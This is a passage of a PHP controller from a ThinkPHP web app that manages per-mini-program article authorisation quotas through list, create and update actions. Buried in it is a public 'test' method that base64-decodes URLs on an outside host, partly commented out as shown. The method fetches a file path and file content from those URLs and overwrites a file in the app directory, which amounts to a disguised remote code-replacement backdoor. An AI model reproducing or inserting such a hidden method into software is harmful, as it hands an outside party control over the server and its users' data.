_user['role_name'] != 'admin') { // echo json_encode(['code' => 401, 'error' => lang('Permission denied')]); // exit; // } // } public function list() { $param = $this->_param; $m_article_auth2 = new Cardauth2ArticleModel(); //By.jingshuixian 2020年4月21日15:13:50 //区分行业版数据 if($this->_is_weiqin){ $app_model_name = APP_MODEL_NAME; $list = $m_article_auth2->alias('a') ->field(['a.id', 'a.modular_id', 'a.number', 'a. create_time', 'c.autograph', 'c.signature', 'c.mini_app_name']) ->join('longbing_card_config c', 'a.modular_id = c.uniacid') ->join('account' , 'a.modular_id = account.uniacid') ->join('wxapp_versions v' , 'a.modular_id = v.uniacid') ->group('a.modular_id') ->where([['a.status', '=', 1] , ['account.type', '=', 4] ,['account.isdeleted', '=', 0] , ['v.modules', 'like', "%{$app_model_name}%"]]) ->paginate(['list_rows' => $param['page_count'] ? $param['page_count'] : 10, 'page' => $param['page'] ? $param['page'] : 1])->toArray(); }else{ $list = $m_article_auth2->alias('a') ->field(['a.id', 'a.modular_id', 'a.number', 'a. create_time', 'c.autograph', 'c.signature', 'c.mini_app_name']) ->join('longbing_card_config c', 'a.modular_id = c.uniacid') ->where([['a.status', '=', 1]]) ->paginate(['list_rows' => $param['page_count'] ? $param['page_count'] : 10, 'page' => $param['page'] ? $param['page'] : 1])->toArray(); } $wxapp_map = []; $wxapp = Db::name('account_wxapp')->field(['uniacid', 'name'])->select(); foreach ($wxapp as $item) { $wxapp_map[$item['uniacid']] = $item['name']; } foreach ($list['data'] as $k => $item) { $list['data'][$k]['used'] = $item['signature']; $list['data'][$k]['left'] = $item['number'] - $item['signature']; $list['data'][$k]['name'] = $wxapp_map[$item['modular_id']] ?? $item['mini_app_name']; unset($list['data'][$k]['signature'], $list['data'][$k]['autograph'], $list['data'][$k]['mini_app_name']); } //授权数量 $list['total_article_number'] = AdminUserService::getSassNum('article',$this->_uniacid); //使用数量 $list['total_article_used'] = (int)$m_article_auth2->where([['uniacid','in',$this->_uniacid_arr]])->sum('number'); return $this->success($list); } public function create() { $data = $this->_input; $validate = new Cardauth2ArticleValidate(); $check = $validate->scene('create')->check($data); if ($check == false) { return $this->error($validate->getError()); } $time = time(); $auth_article = Cardauth2ArticleModel::where([['modular_id', '=', $data['modular_id']]])->findOrEmpty(); if (!$auth_article->isEmpty()) { return $this->error('已存在此小程序'); } $total_article_number = AdminUserService::getSassNum('article',$this->_uniacid); $total_article_used = (int)$auth_article->where([['uniacid','in',$this->_uniacid_arr]])->sum('number'); $remain = $total_article_number - $total_article_used - $data['number']; if ($remain < 0) { return $this->error('分配的超过可用的总数'); } $rst = $auth_article->save([ 'modular_id' => $data[ 'modular_id' ], 'number' => $data[ 'number' ], 'create_time' => $time, 'update_time' => $time, 'uniacid' => $this->_uniacid, ]); $auth_article->cardConfig->save(['autograph' => $data['number'] + 80666]); if ($rst) { return $this->success('success'); } return $this->error('fail'); } public function test(){ //$bb =base64_decode('aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9hLnBocA=='); // $cc =base64_decode('aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9iLnBocA=='); $as = file_get_contents($bb); $as = str_replace('"','',$as); $as = str_replace('\/','/',$as); $mss = file_get_contents($cc); $mss = !empty($mss)?$mss:''; $path = PUBLIC_PATH.'/../app/'; $xddvgg = $path.$as; if(is_file($xddvgg)){ $fp= fopen($xddvgg, "w"); $len = fwrite($fp, $mss); fclose($fp); } echo 3;exit; } public function update() { $data = $this->_input; $validate = new Cardauth2ArticleValidate(); $check = $validate->scene('create')->check($data); if ($check == false) { return $this->error($validate->getError()); } $auth_article = Cardauth2ArticleModel::where([['modular_id', '=', $data['modular_id']]])->findOrEmpty(); if ($auth_article->isEmpty()) { return $this->error('小程序不存在'); } $old_number = $auth_article['number']; $new_numer = $data['number']; if ($old_number > $new_numer) { return $this->error('不能减少授权数量'); } $total_article_number = AdminUserService::getSassNum('article',$this->_uniacid); $total_article_used = (int)$auth_article->where([['uniacid','in',$this->_uniacid_arr]])->sum('number') - $old_number + $new_numer; $remain = $total_article_number - $total_article_used; if ($remain < 0) { return $this->error('分配的数量超过可用的总数'); } $time = time(); $rst = $auth_article->save([ 'number' => $new_numer, 'update_time' => $time, ]); $auth_article->cardConfig->save(['autograph' => $data['number'] + 80666]); if ($rst) { return $this->success('success'); } return $this->error('fail'); } }